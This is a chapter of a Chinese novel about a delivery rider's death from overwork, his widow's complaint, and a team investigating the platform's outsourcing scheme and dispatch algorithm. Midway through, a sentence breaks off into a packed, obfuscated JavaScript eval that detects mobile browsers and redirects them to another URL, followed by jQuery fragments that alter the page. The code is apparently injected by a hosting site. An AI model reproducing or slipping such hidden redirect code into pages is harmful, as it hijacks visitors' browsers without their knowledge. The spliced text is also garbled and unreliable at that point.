2025年8月9日，上午九点。


    赵春梅坐在工作室的沙发上，双手捧着一个纸杯，水是凉的，她没喝。


    她穿着一件洗得发白的蓝色T恤，领口洗得有些变形，头发乱糟糟的，用一根黑色皮筋扎着，碎发贴在额头上。她的眼睛是肿的，不是哭肿的，是那种几天几夜没睡之后，眼皮撑不住往下坠的肿。


    吴小糖坐在她旁边，不知道该说什么，只是把纸巾盒往她那边推了推。


    赵春梅没有看纸巾盒，她盯着茶几上的水渍，盯了很久。


    “我老公是跑外卖的。”她开口了，声音沙哑，“八月五号那天，中午，天最热的时候。他跑了十二个小时，最后一单送到的时候，倒下了。就在人家单元门口。送到的时候人已经不行了。救护车来了，拉到医院，没抢救过来。”


    她的声音很平，像在说一件跟自己无关的事。


    “医生说，心源性猝死。太累了，心脏受不了。”


    俞彩虹轻轻问：“刘师傅今年多大？”


    “四十六。”赵春梅低下头，“干了三年外卖。以前在工地干，后来腰不行了，就改跑外卖。他说外卖比工地轻松，不用搬重东西。就是跑，到处跑。他每天跑十几个小时，刮风下雨都跑。他说平台有奖励，跑满多少单给多少钱。他从来没拿过那个奖励。每次都差一点。还差两三单，时间就到了。他拼了命跑，就是跑不够。”


    她的声音开始发抖。


    “他跟我说过，那个算法，他跑不过。你跑得快，它给你派更远的单。你跑得多，它给你派更多的单。你永远追不上。他说，这个系统就是让你觉得自己还能再跑一单。”


    她停下来，使劲眨了眨眼睛。


    “他跑了三年，三年没歇过一天。我说你歇一天吧，他说不行，歇一天就掉等级，掉等级就接不到好单。他说平台有规定，等级高的骑手优先派单。他拼命跑，等级还是上不去。他说，那个等级，是给年轻人的。他年纪大了，跑不过。”


    吴小糖的眼眶红了，她低下头，假装在找东西。


    /


    徐寄遥坐在赵春梅对面，等她情绪平复了一些。


    “赵女士，您先生出事之后，平台那边怎么说的？”


    赵春梅抬起头，眼睛里有了一种东西，是愤怒。


    “他们说，他不是他们的员工。他说他是外包的，是第三方公司的。第三方公司说，他们是合作关系，不是劳动关系。合同上写的是‘承揽协议’，不是劳动合同。所以他们不赔。”


    她从包里掏出一沓纸，放在茶几上。


    纸张皱巴巴的，有几页被水浸过，字迹模糊。徐寄遥拿起来翻看。


    “承揽协议。甲方是某科技有限公司，乙方是刘师傅。协议里写着，乙方自愿承揽甲方的配送业务，双方是平等的民事合作关系，不存在劳动关系。”


    后面几页是平台的回复函，措辞很官方：


    “经核实，刘师傅与平台不存在劳动关系，不在工伤保险赔付范围内。平台出于人道主义，愿意提供慰问金两万元。”


    两万。


    一个人跑了三年外卖，每天十几个小时，最后值两万。


    赵春梅的声音又响起来，这次带着一种压抑了很久的尖锐。


    “他们说他们是好心，说两万是‘慰问’。”她的声音越来越高，“他跑了三年，三年！风里雨里，没有一天歇过。他们赚了多少钱？他们给他买过保险吗？他累死了，他们就拿两万块钱打发我。”


    她捂住了脸。


    “我不是要钱，我就是觉得，他不能白死！他不能白死！”


    /


    屋里安静了很久。徐寄遥把那些材料放回茶几上。


    “赵女士，您公公婆婆那边，怎么说？”


    赵春梅愣了一下，然后苦笑了一下。


    “他们不让告。他们说，人家是大公司，告不赢。说拿了那两万块钱就算了，别折腾了。说死者为大，入土为安。说再闹下去，丢人。”


    她的眼泪终于流下来。


    “我老公活着的时候，他们不管他。他累成那样，他们不说。现在他死了，他们怕丢人。”


    她擦了擦眼泪，直起身。


    “我要告他们。不是要钱。我就是想让他们知道，他不是机器。他是人。”


    俞彩虹轻轻拍了拍她的手。


    “赵女士，我们会帮您。”


    赵春梅看着她，又看看徐寄遥，嘴唇哆嗦着，想说什么，最后只挤出两个字：“谢谢。”


    /


    赵春梅走后，吴小糖坐在沙发上，半天没动。


    “寄遥姐，你说那些平台，他们不知道骑手会累死吗？”


    徐寄遥没回答。应宽替她说了：


    “他们知道。但他们算过账。赔两万，比给所有骑手买保险便宜。”


    吴小糖愣了一下：“他们算过？”


    应宽点点头。


    “算法。他们什么都有算法。骑手跑多快，送多少单，赚多少钱，死在路上赔多少。都是算过的。”


    吴小糖的脸白了：“那他们……他们这不是杀人吗？”


    应宽没有说话。


    徐寄遥站起来，走到窗边，看着外面的街道。


    阳光很烈，路上没什么人。远处有几个穿黄色蓝色的外卖小哥身影，骑着电动车，在车流里钻来钻去。


    她转过身。


    “应宽，查一下刘师傅那个平台的用工模式。还有那个第三方公司，看是什么背景。”


    应宽已经开始敲键盘了。


    /


    下午两点，应宽查到了一些东西。


    “刘师傅签约的第三方公司叫‘众包科技’，注册地在某产业园，法人是空壳。”他把屏幕转向大家，“这家公司是杨亚波投资的。”


    吴小糖愣住了：“又是伯牙科技？”


    应宽点点头。


    “伯牙科技占股百分之三十。不控股，但有派驻董事。这个公司的业务，就是给外卖平台提供骑手外包服务。他们在全国有十几个分公司，管理着好几万骑手。刘师傅只是其中之一。”


    俞彩虹接过去看了一会儿。


    应宽接着说：“和解大师还有一个‘骑手心理韧性课程’，专门卖给这些外包公司的。课程内容是教骑手‘正确看待工作压力’，‘学会与算法共处’。”


    他念了一段课程介绍：


    “配送行业压力大，是众所周知的。如何在高强度工作中保持心理健康？如何正确看待平台的考核机制？如何与算法达成和解？本课程将从心理学角度，帮助骑手建立正确的职业认知，学会与压力共处，与算法共处。”


    吴小糖听不下去了：


    “什么叫‘与算法共处’？就是让他们认命？让他们承认自己跑不过机器？”


    俞彩虹说：“课程里有一句话，‘认命不是放弃，是接受。接受自己的局限，接受平台的规定，接受这个行业的规则。’”


    屋里安静了。


    /


    徐寄遥站在白板前面，把刚才那些信息一条一条写上去。


    众包科技——骑手外包——和解大师投资。


    和解大师——骑手心理韧性课程——教骑手“认命”。


    外卖平台——算法——骑手猝死——赔两万。


    写完之后，她退后一步，看着这几条线。


    “他们建了一个系统，众包科技从骑手身上赚钱，和解大师从众包科技身上赚钱，再从骑手身上赚一次。骑手跑死了，赔两万。比给所有骑手买保险


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17381631|197680||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    便宜。他们算过。”


    吴小糖站起来。


    “寄遥姐，这个案子，我们怎么打？”


    徐寄遥转过身。


    “我们不打官司，我们也打不了官司，我们能做的，就是帮客户收集证据。”


    她看着应宽。


    “能查到刘师傅哪个等级吗？他跑了三年，等级是多少？”


    应宽敲了几下键盘。


    “黄金。最高是钻石，然后是白金，然后是黄金。他跑了三年，还在第三档。”


    “前面两档是什么人？”


    “年轻人。二十多岁，三十出头。跑得快的。系统给他们的单多，距离短，单价高。年纪大的，跑得慢的，系统给的单少，距离长，单价低。跑得越快，单越多。跑得越慢，单越少。这是一个正反馈循环。”


    吴小糖说：“所以他们永远跑不过年轻人。”


    应宽点头。“永远跑不过。但他们不知道，他们以为是自己不够努力。”


    /


    应宽把屏幕转过来，调出一张数据图。


    “这是外卖行业的配送算法逻辑。表面上是公平派单，谁跑得快谁接单多。但实际上，算法会记住每个人的数据。你跑得快，它给你派近单、好送的单。你跑得慢，它给你派远单、难送的单。你接的单越多，它给你的单越多。你接的单越少，它给你的单越少。”


    “这是一个正反馈。跑得快的人永远跑得快，跑得慢的人永远跑得慢。等级越高，单价越高。等级越低，单价越低。钻石等级的骑手，一单能拿七八块。黄金等级的，一单只能拿四五块。要跑同样的钱，黄金等级的骑手要比钻石等级的多跑一倍的单。”


    吴小糖说：“所以刘师傅拼命跑，是因为他的起点就低。”


    应宽点头。


    “对。他的等级低，单价低，要赚同样的钱，他必须跑更多的单。跑更多的单，就需要更长的时间。更长的时间，就意味着更累。更累，就跑不动。跑不动，等级就上不去。这是一个死循环。”


    “这就是算法。它不在乎你是谁，不在乎你多大了，不在乎你身体受不受得了。它只在乎数据。”


    /


    徐寄遥放下手里的资料。


    “外卖行业这几年，越来越卷。平台之间打价格战，补贴越来越少，单价越来越低。骑手要赚同样的钱，只能跑更多的单。以前一天跑八个小时能赚两百，现在要跑十二个小时。跑十二个小时不够，就跑十四个小时。十四个小时不够，就跑十六个小时。”


    “骑手之间也在卷，你不跑，有人跑。你休息，单被别人抢走了。你掉等级，单价更低。你只能跑，拼命跑，跑到跑不动为止。”


    吴小糖接话：“跑到跑不动为止！刘师傅就是跑到跑不动了！”


    俞彩虹点头同意，说：


    “平台什么都知道，他们知道骑手每天跑多长时间，知道他们闯了多少红灯，知道他们出了多少事故。他们有一整套数据。但他们不算这个。他们算的是成本。给骑手买保险，要花多少钱。骑手出事了赔多少钱。两万块钱，比买保险便宜。他们算过了。”


    屋里又安静了。


    /


    徐寄遥站在窗边，看着外面。


    太阳已经偏西了，光线变得柔和了一些。街上那些穿黄色蓝色工装的外卖小哥们在穿梭。


    “应宽，把刘师傅的数据整理出来。跑了多少单，多少公里，赚了多少钱，都整理出来。赵春梅要的不是钱，她要的是让她老公的死被看见。”


    应宽点点头。


    吴小糖问：“被谁看见？被平台吗？那些人会看见吗？”


    徐寄遥没有回答。她不知道那些人会不会看见。


    但她知道，如果什么都不做，他们永远不会看见。